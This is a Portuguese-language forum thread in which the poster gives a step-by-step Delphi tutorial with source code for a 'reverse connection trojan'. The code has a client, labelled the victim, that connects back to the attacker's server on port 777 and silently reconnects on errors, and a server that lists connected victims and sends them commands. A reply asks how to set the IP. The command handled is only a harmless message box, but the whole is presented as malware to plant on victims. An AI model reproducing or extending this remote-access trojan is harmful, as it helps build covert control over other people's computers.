Forum ViSiBLe

Bem Vindo
Se registrares neste fórum, podes fazer parte da nossa comunidade.Prezamos aqui pela participação ACTIVA de cada membro.


Atençao: Nao precisa Confirma a sua conta no hotmail (Basta Registrar e Começar a participar do forum.)
Precisamos de administradores e moderadores!! Clique Aqui!

Anuncio


    [TUTORIAL+SOURCE] Criando e Entendendo um Trojan Simples de Conecção Reversa.

    Compartilhe

    MrViSiBLe
    Fundador ViSiBLe
    Fundador ViSiBLe

    Número de Mensagens : 3688
    Idade : 24
    Localização : Cuiaba
    Agradecimentos Agradecimentos : 864
    Data de inscrição : 10/12/2008

    [TUTORIAL+SOURCE] Criando e Entendendo um Trojan Simples de Conecção Reversa.

    Mensagem por MrViSiBLe em 8/21/2010, 00:23

    Primeiro de Tudo Não sei se ta bom porque estou meio com SONO e
    ASSUSTADO pois minha casa foi invadida a umas 3 ~4 horas(Quando Fiz
    Tutorial) e estou meio perdido ainda, mais to fazendo o tutorial pra
    esquecer um pouco.


    O que é TROJAN de Conexão Reversa?
    TROJAN Conexão Reversa como diz o nome
    é reversa por não ser como os TROJAN's tradicionais em que você se
    conecta a vitima digitando o IP da mesma, no caso aqui na reversa a
    vitima se conecta a você evitando assim o trabalho de ter de saber o IP da mesma e tambem algumas falhas devido a vitima ter internet compartilhada e etc


    ***Criando Cliente(VITIMA) : ***

    1º Abra o delphi...

    2º Instale o component do delphi Socket va em
    "Component > Install Packages > Add... " e na pasta do delphi selecione o "dclsockets70.bpl" e pronto clique OK.


    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    3º Crie um projeto em "File > New > Aplication" e o salve...

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    4º Coloque os Seguintes components no seu "Form":


    Citação:


    * 1 - ClientSocket : Na Aba de Componentes "Internet".


    5º No "ClientSocket1" Defina a porta usada no seu Server no caso a "777", e tambem o IP
    da maquina server e o coloque o "Active" como "TRUE":


    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    6º No "ClientSocket1" altere o "event" "OnRead" para o seguinte:


    Citação:


    if Socket.ReceiveText='CheatsBrasil' then begin
    ShowMessage('Comando "CheatsBrasil" Recebido com Sucesso!');
    end;



    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    7º No "ClientSocket1" altere o "event" "OnError" para o seguinte:


    Citação:



    ErrorCode:=0;
    (sender as TClientSocket).Active:=false;
    sleep(2000);
    (sender as TClientSocket).Active:=true;



    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    8º Pronto Cliente(VITIMA) Terminado. Agora Vamos ao Server(VOCÊ).

    ***Criando Server(VOCÊ) : ***

    1º Abra o delphi...

    2º Instale o component do delphi Socket caso ele esteja desinstalado ainda, va em
    "Component > Install Packages > Add... " e na pasta do delphi selecione o "dclsockets70.bpl" e pronto clique OK.


    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    3º Crie um projeto em "File > New > Aplication" e o salve...

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    4º Coloque os Seguintes components no seu "Form":


    Citação:


    * 1 - ListBox : Na Aba de Componentes "Standard".
    * 2 - Buttons : Na Aba de Componentes "Standard".
    * 1 - SpinEdit : Na Aba de Componentes "Samples".
    * 1 - ClientSocket : Na Aba de Componentes "Internet".


    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]
    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]
    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]
    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]


    * No "Button1" altere o "Caption" para "Sair" :

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    * No "Button2" altere o "Caption" para "Configurar Porta" :

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    6º No "SpinEdit1" altere o "MinValue" e "MaxValue" para:


    Citação:


    MinValue = 1
    MaxValue = 65535



    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    7º Defina a porta do "SocketServer1" para a que desejar no caso eu usarei a "777".

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    8º Adicione o seguinte procedimento:


    Citação:


    Procedure TForm1.ListarConeccoes;
    var
    i : integer;
    begin
    ListBox1.Clear;
    for i := 0 To ServerSocket1.Socket.ActiveConnections -1 do
    begin
    ListBox1.Items.add(ServerSocket1.Socket.Connection s[i].RemoteHost);
    end;
    Caption := 'Tutorial Trojan - '+IntToStr(ServerSocket1.Socket.ActiveConnections) + ' Conecções.';
    end;



    E o Declare :

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    9º No "ServerSocket1" adcione o "ListarConeccoes;" nos seguintes eventos:

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    10º No "button2" adicione o seguinte:


    Citação:



    Citação:






    if SpinEdit1.Visible=true then begin
    SpinEdit1.Visible:=false;
    ServerSocket1.Active:=false;
    ServerSocket1.Port:=SpinEdit1.Value;
    ServerSocket1.Active:=true; end else





    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    11º No "SpinEdit1" altere o "visible" para "FALSE".

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    12º No "Button1" dê dois clique e adicione :


    Citação:


    Close;


    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    13º No "ServerSocket1" altere o "Active" para "True".

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    14º No "ListBox1" dê dois clique e deixe como seguinte:


    Citação:


    procedure TForm1.ListBox1DblClick(Sender: TObject);
    var
    i,ConnectionID : integer;
    begin
    //
    For i := 0 to ListBox1.Items.Count-1 do begin
    //
    if ListBox1.Selected[i]=false then
    begin
    Showmessage('Nenhum IP Selecionado!');
    end else begin
    //
    if ListBox1.itemindex <> -1 then
    begin
    if ServerSocket1.Active then
    try
    ConnectionID := ListBox1.Itemindex;
    ServerSocket1.Socket.Connections[ConnectionID].SendText('CheatsBrasil');
    except
    end else Showmessage('Você não está connectado...');
    end else showmessage('Você deve selecionar a qual cliente quer enviar o comando.');
    end;
    //
    end;
    //
    end;



    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    15º Altere o "Value" do "SpinEdit1" para "777":

    Como:
    [Você precisa estar registrado e conectado para ver esta imagem.]

    16º Pronto Terminado. Ele devera ficar mais ou menos assim:

    [Você precisa estar registrado e conectado para ver esta imagem.]

    Obrigado e Malz qualquer erro, me avisem que irei corrigir.

    CREDITOS:

    * TUTORIAL : 00Phoenix00 = HTR[AntraX]Kernel

    + DOWNLOAD DA SOURCE :


    [Você precisa estar registrado e conectado para ver esta imagem.]


    _________________
    MrViSiBLe Gosto? agradeça. clique em [b]+ Ta Ai do lado Olha  >>>>>Nao Custa Nada[/b]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]

    TheSeeker
    NOOB
    NOOB

    Número de Mensagens : 1
    Idade : 24
    Agradecimentos Agradecimentos : 1
    Data de inscrição : 14/10/2011

    Re: [TUTORIAL+SOURCE] Criando e Entendendo um Trojan Simples de Conecção Reversa.

    Mensagem por TheSeeker em 10/14/2011, 19:51

    Ei, desculpa a minha ignorância mais na parte que você diz "5º No "ClientSocket1" Defina a porta usada no seu Server no caso a "777", e tambem o IP
    da maquina server
    e o coloque o "Active" como "TRUE":"
    como vejo o ip que tenho que por?

      Data/hora atual: 12/11/2016, 08:50